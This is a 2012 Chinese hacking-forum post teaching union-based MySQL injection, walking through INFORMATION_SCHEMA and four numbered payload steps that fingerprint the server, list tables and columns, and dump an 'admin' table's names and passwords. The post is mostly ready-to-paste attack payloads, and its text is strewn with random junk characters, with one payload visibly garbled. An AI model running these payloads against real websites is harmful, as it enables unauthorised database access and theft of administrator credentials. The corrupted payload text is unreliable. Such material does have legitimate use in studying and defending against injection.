找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2121|回复: 0
打印 上一主题 下一主题

mysql常规注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:48:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文介绍MYSQL盲注的一些语句和方法/ \9 n* [0 H7 a% {$ f  v: o
0 a2 S- _3 O& G: A7 Q& y/ W1 _
学习盲注前先了解下 IFORMATION_SCHEMA 库. `: A' y: n5 V5 b; X9 @2 N

$ p; Z$ D. P& W' UMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有. m7 q8 A/ p( a  C& V2 l2 U
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。% ], R1 N3 ?/ i: ?8 p- t" R
1.得到所有数据库名:2 @% v0 s+ C3 s
|SCHEMATA ->存储数据库名的表
' Z4 o1 k3 B7 F6 A" \; L|---字段:SCHEMA_NAME ->数据库名称5 `( H5 Y  ?2 L

9 u. `( `8 r" {$ R- O6 w& e|TABLES ->存储表名
6 Y( [8 ~: H: x, H|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名3 o  ~5 X, g- @  t3 |8 L
|---字段:TABLE_NAME ->存储表的表名/ E- O, b7 h# B3 b+ a
0 {8 f/ \5 f) V" g: _& {7 s* F
|COLUMNS ->存储的字段名表9 F  `( o: z8 E. D  y9 R
|---字段:TABLE_SCHEMA ->该字段所属数据库名
/ T  g3 |4 O8 s6 k  h! b% j|---字段:TABLE_NAME ->存储所属表的名称
5 V- K" ~. \. q8 A) U
, m3 B" m3 ?- `! ?" E+ e, L5 u|---字段:COLUMN_NAME ->该字段的名称
4 @, B5 s" o$ J+ t4 N( q  C. [( X% K0 P: T
8 C) V: X& e. ^. o  P
+ Y! d8 [* Q# U! Y% |
###########################################################################5 A6 u2 B8 q9 d* a

7 {6 O8 {; T, j! F$ a) |6 H0x001 获取系统信息:
6 Z1 n" y9 m7 ~) n6 x' p" A) L
3 X$ V. o. z) I6 ounion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*+ w1 x' p1 a; R

7 v, f$ c* R& r6 Z/*
: |1 I: t3 n: d0 I# ?2 @; [6 g
4 Z1 X9 g: {4 E, a@@global.version_compile_os 获取系统版本5 `( Y( r+ v0 d2 D
$ \8 x0 u) X3 P% Y7 i# r3 j
@@datadir 数据库路径: S" N" _/ A- l  ^& i6 o9 M( J# j" }
database() 当前数据库名称7 s) _7 K7 D8 d" b. A
0x3c62723e 换行HEX值
! Z& o/ d; u: w) {* J
$ p( E, Y1 W' S4 y8 V& R3 L; w*/
8 s3 ]! H) G' P0 W* s% h3 ~! z# o) S0 N9 e$ F& _
: t6 A* t6 m( J# r" L

# ~# ?) y, L1 I- M- w  L- A######################################################################
8 i0 I; }7 E, O$ V0 C  E, O; J/ X6 b& o0 P, t; S% O
0x002 获取表名4 q0 N' O5 k5 I) J

) l0 k* ^# R" Iunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*2 r6 B  u% F; {7 W' b! p

( Q% K9 b8 p6 L3 X; F0 g1 I; d3 h2 }5 a & S% \1 N4 s8 i
% r# H; h# r( ~6 U2 \4 B
/*  U: d. @6 S) j! D+ B; e

% k" Y) X- I$ a# x: w: U! Z0x67617264656e 为当前数据库名, h/ a. e% N  ^

2 Y/ b* p. B" w( mgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
3 v- k' L1 F0 w; U8 H7 _4 }/ O6 s; o. P2 N
*/
+ h7 U; ~8 [5 y( C9 ~0 T. U7 j  Y
' r4 V! y- f, k, r######################################################################
0 ~! Q) M" U* n* a2 u8 j
  @* I1 c! |/ t3 D
, M6 E) s% K( a! D1 S9 s: y
- h* J: p9 z6 W0x003 获取字段
; ]  U$ E+ p) g8 d% t. q# E
. L: t. {) o( G; i+ P. Aunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
- J3 ?; U/ j$ @" Z% c" j# S
0 D5 m4 i* v- ?, R2 o! W, r' n/ v5 W; d/*
9 g2 }3 P: ~3 ~: p' I. H! l
' ?6 n, h9 r9 g. h- cgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
( C/ |. i% x1 N0 C6 }6 A
9 v" s4 H) m3 n7 [) X0x61646d696e ->选择一个表' X: f( _0 S& a1 h. p
6 O) a$ k2 F7 Q' G
0x67617264656e ->数据库名
7 V/ ]$ Z$ W. |/ Z0 U# R4 [- U$ q' q3 W$ L
*/; ^: w! P. H% E

, y( k3 i' {3 M- ?$ |#####################################################################. |4 w3 V5 H4 i
7 R3 o( {2 n6 K  q" V% K& `
$ V* i$ w/ m1 e3 E. V5 a

4 M1 ?, D- f/ |4 p" Q/ E9 t0x004 获取数据, r* _5 H8 n2 i* c$ H

& W4 L3 J4 X* ?( l& K$ }union select 1,2,3  z' e. a$ ]$ \& v) r4 U
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
5 }1 o/ W0 ]8 B' J% G( Q( T4 d: n$ C9 F) [) P# g& D: O% E
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin" E+ q: J" x0 M# }# P7 F

0 ~# I7 B! B2 ]) P( J4 f
; W! F/ V# d0 S* j# A
8 Z; @' [5 @5 ]& `( J8 B/*! X7 A* _2 N4 Y9 c( y7 _1 h8 B( {1 m

' ^% e( L! ]' k2 o: e! u7 E) l0x3c62723e 换行符号HEX编码
; L+ R. y/ x& Q& g9 `' j  B/ H) E4 b6 X* x9 P1 B
group_concat 同时获得该字段所有数据% L$ H! ^  P* H3 R5 D

& D, h! z  W4 {/ t*/
! U' @8 g/ V0 |; [2 n
- x% c) u5 y5 u! ^% ~  F* y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表